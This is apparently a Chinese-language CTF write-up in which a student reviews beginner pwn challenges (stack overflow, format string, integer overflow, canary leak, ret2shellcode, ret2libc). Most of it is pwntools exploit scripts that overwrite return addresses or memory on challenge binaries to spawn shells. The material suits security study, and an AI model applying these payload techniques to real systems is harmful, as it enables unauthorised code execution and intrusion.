关于以前学的都忘了于是决定写几道题练练手这件事
由于之前颓废了一段时间,又正好是新学期,于是决定复习一下最最最简单的pwn题
pwn复习wp
1. 基础nc题
例1 get shell
直接运行就得到shell了
我能说啥,nc一下
嗯,我唯一一道能在本机上做出来的题
当然强行写一个脚本的话也不是不可以
from pwn import*
sh = remote('220.249.52.134',39800)
sh.interactive()
直接ok
例二 bugku – pwn1
没什么好说的nc
2.简单栈溢出
例1 level0
于是写payload
from pwn import*
sh = remote('220.249.52.134',32118)
sh.recv()
payload = b'a'*(0x80+8)+p64(0x400596)
sh.sendline(payload)
sh.interactive()
于是
例2 born
嗯,简单的用gets改变变量数值,不过缺点就是,改变的变量必须要比输入的变量更靠近ebp
from pwn import*
from LibcSearcher import*
context(log_level='debug')
sh = remote('220.249.52.134','57702')
sh.recvuntil("?")
sh.sendline("2000")
sh.recvuntil("?")
payload = b"a"*(0x20-0x18)+p64(1926)
sh.sendline(payload)
sh.interactive()
于是运行
例三 hello_pwn
真不错,直接改个数就好
嗯,只隔了四位
上脚本
from pwn import*
from LibcSearcher import*
context(log_level='debug')
sh = remote('220.249.52.134','52887')
sh.recvuntil("bof")
payload = b"a"*4+p64(1853186401)
sh.sendline(payload)
sh.interactive()
例四 bugku --pwn1
ok,过于简单,直接上exp
from pwn import*
from LibcSearcher import*
context(log_level='debug')
sh = remote('114.67.246.176','15201')
payload = b"a"*(0x30+8)+p64(0x400751)
sh.sendline(payload)
sh.interactive()
3.开始分手并逝去的system(/bin/sh)
例1 level2
嗯,bin和system分手了,找bin
ok了
from pwn import*
from LibcSearcher import*
context(log_level='debug')
sh = remote('220.249.52.134','38538')
system = 0x8048320
bin_sh = 0x0804A024
payload = b'a'*(0x88+4)+p32(system)+b'a'*4+p32(bin_sh)
sh.sendline(payload)
sh.interactive()
例二 --老的bugku–pwn4
基本操作没什么可说的,没有bin找一下
没找到bin,但找到了可代替的东西‘$0’
于是
用ROPgadget找到位置(注意\6),顺便一提,用了string试了一下,怎么说,和ida里一样。
顺便看一眼rdi
写个脚本
from pwn import*
from LibcSearcher import*
context(log_level='debug')
sh = process('./pwn4')
system = 0x400570
bin_sh = 0x60111f
rdi = 0x4007d3
payload = b'a'*(0x10+8)+p64(rdi)+p64(bin_sh)+p64(system)
sh.recvuntil('pwn me')
sh.sendline(payload)
sh.interactive()
然后离谱的事情出现了,这竟然没pwn成,考虑到明天就考核了,我就先放一下,感觉问题不大
4.格式化字符串
例1 cgfsb
很明显我们要用格式化字符串把pwnme改变
先找偏移量
from pwn import*
from LibcSearcher import*
context(log_level='debug')
sh = remote('220.249.52.134',47577)
sh.recvuntil("name:")
sh.sendline('jzc')
payload = 'aaaa'+'%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p'
sh.recvuntil('leave your message please:')
sh.sendline(payload)
sh.interactive()
偏移量为10
写脚本
from pwn import*
from LibcSearcher import*
context(log_level='debug')
sh = remote('220.249.52.134',49186)
sh.recvuntil("name:")
sh.sendline('jzc')
pwnme = 0x0804A068
payload = p32(pwnme)+b'aaaa'+b'%10$n'
sh.recvuntil('leave your message please:')
sh.sendline(payload)
sh.interactive()
于是
话说这样也可以
from pwn import*
from LibcSearcher import*
context(log_level='debug')
sh = remote('220.249.52.134',47577)
sh.recvuntil("name:")
sh.sendline('jzc')
pwnme = 0x0804A068
payload = b'%8d%'+b'12$n'+p32(pwnme)
sh.recvuntil('leave your message please:')
sh.sendline(payload)
sh.interactive()
例二 队长的pwnme2.elf
from pwn import*
from LibcSearcher import*
context(log_level='debug')
sh = process('./pwnme2.elf')
sh.recvuntil('\n')
here_addr=0x0000000000404048
payload = 'aaaaaaaa'+'%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p'
sh.sendline(payload)
sh.interactive()
算出偏移量为6
写脚本
from pwn import*
context(log_level = "debug")
sh = process('./pwnme2.elf')#painyiliang=6
sh.recvuntil('\n')
here_addr=0x0000000000404048
payload = b'00000000'+b'%92d%8$n'+p64(here_addr)#地址“\0”会截断,所以把p64放到后面.%92d是为了填充92个字符怕被爆掉,且满足八位一组。“00000000”同样为了满足把为一组.
sh.sendline(payload)
sh.interactive()
5.我就是要栈溢出
例1 int_overflow
没什么特别的,就是对长度进行了一个检查
之前笔记里提过了不再赘述,__int8说明是8位二进制决定的整形数,于是256=0.
于是写脚本
from pwn import*
from LibcSearcher import*
context(log_level='debug')
sh = remote('220.249.52.134','53123')
sh.recvuntil("Your choice:")
sh.sendline('1')
sh.recvuntil("username:")
sh.sendline("jzc")
payload = b'A' * (0x14+4) + p32(0x804868b)+b'a'*233
sh.recvuntil('Please input your passwd:')
sh.sendline(payload)
sh.interactive()
于是
例二 绕过can(Mary_Morton)
啊这,看起来这个程序想和我battle一下,那咱们进sub_4009DA和sub_4008EB看一眼。
再结合总程序来看很明显,当我们输入1,用的bufferoverflow啥意思我也不知道,大概是溢出啥玩意,但输入2的话,很明显是我们的老朋友了,格式化字符串漏洞。,于是随机产生思路,我们第一步直接用格式化字符串找到偏移量。
from pwn import*
from LibcSearcher import*
context(log_level='debug')
sh = remote( '220.249.52.134',55640)
sh.recvuntil('battle \n')
sh.sendline('2')
payload = 'aaaaaaaa'+'%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p'
sh.sendline(payload)
sh.interactive()
执行后得到偏移量。
很明显我们可以看出偏移量为6
由ida我们可以看到,我们的buf距离ebp有0x90的距离。ok,0x90-0x8=0x88,0x88/8=17,17+6=23,那么到这里我们终于知道can的位置了。此时准备工作完成,我们开始写脚本
from pwn import*
context(os='linux',arch='amd64',log_level='debug')
sh = remote( '220.249.52.133',43484)
sh.recvuntil('battle \n')
sh.sendline('2')
sh.sendline('%23$p')
can = int (sh.recv(),16)
flag = 0x4008DA
payload = b'a'*(0x90-8) + p64(can) + b'a'*8 +p64(flag)
sh.recvuntil('battle \n')
sh.sendline('1')
sh.sendline(payload)
sh.interactive()
6.ret2shellcode
例1 队长的pwnme.elf
那么发现可以函数Crakeme,跟进一下。
发现之前输出的奇怪的东西是buf的地址,又发现溢出点read
嘛,总之先看看有没有system(bin/sh)
果然没有,连$0也没有,嗯,没办法了,shellcode吧。
但这里有一个问题,buf的地址他会变啊。(话说我想问一下,为啥会变啊。)于是有一个小知识点。
1.小知识,如何获得打印出来的东西
recvuntil(delims, drop=False) : 一直读到delims的pattern出现为止。**即遇到指定字符停止。**这是recvuntil的常规用法,但如果我们想获得打印出来的东西,也很简单。
格式为
recvuntil(【开头的字符】, drop=False)
a=recvuntil(【结尾的字符】, drop=True)
那么a就被赋值为我们想获取的东西了。
于是到这里我们准备工作已经做好,那我们开始写脚本吧。。
from pwn import *
context(os='linux', arch='amd64',log_level="debug")
sh = process('./pwnme.elf')
shell=shellcraft.sh()
shellcode=asm(shell)
sh.recvuntil('\n')
add_buf = sh.recvuntil('\n', drop=True)
add_buf = int(add_buf, 16)
print(add_buf)
payload= b'b' * (0xD0+8) + p64(add_buf + 0xD0+8+8) + shellcode
sh.sendline(payload)
sh.interactive()
执行后获得shell
7.ret2libc
例1 level3
没什么好说的,跟进vulnerable_function()看一眼。
上周我们了解了,puts和write两个都是output函数,这里有个write,嗯嗯这很好。
按照惯例看一眼有没有奇怪字符串。
那么很遗憾,并没有什么奇怪的字符串。于是很显然,只能是ret2libc了。
from pwn import*
from LibcSearcher import*
context(log_level='debug')
sh = remote('220.249.52.133','36335')
elf = ELF('./level3')
add_write_plt = elf.plt['write']
add_write_got = elf.got['write']
base = elf.symbols['main']
payload1= b'a'*(0x88+4) + p32(add_write_plt) + p32(base) + p32(1) +p32(add_write_got) + p32(4)
sh.recvuntil('Input:\n')
sh.sendline(payload1)
addr_realwrite = u32(sh.recv()[:4])
libc=LibcSearcher('write',addr_realwrite)
libc_system = libc.dump('system')
libc_bin =libc.dump('str_bin_sh')
write_libc = libc.dump('write')
offset = addr_realwrite - write_libc
addr_system = offset + libc_system
addr_bin =offset + libc_bin
payload2 = b'a'*(0x88+4) + p32(addr_system) +b'a'*4 + p32(addr_bin)
sh.recvuntil('Input:\n')
sh.sendline(payload2)
sh.interactive()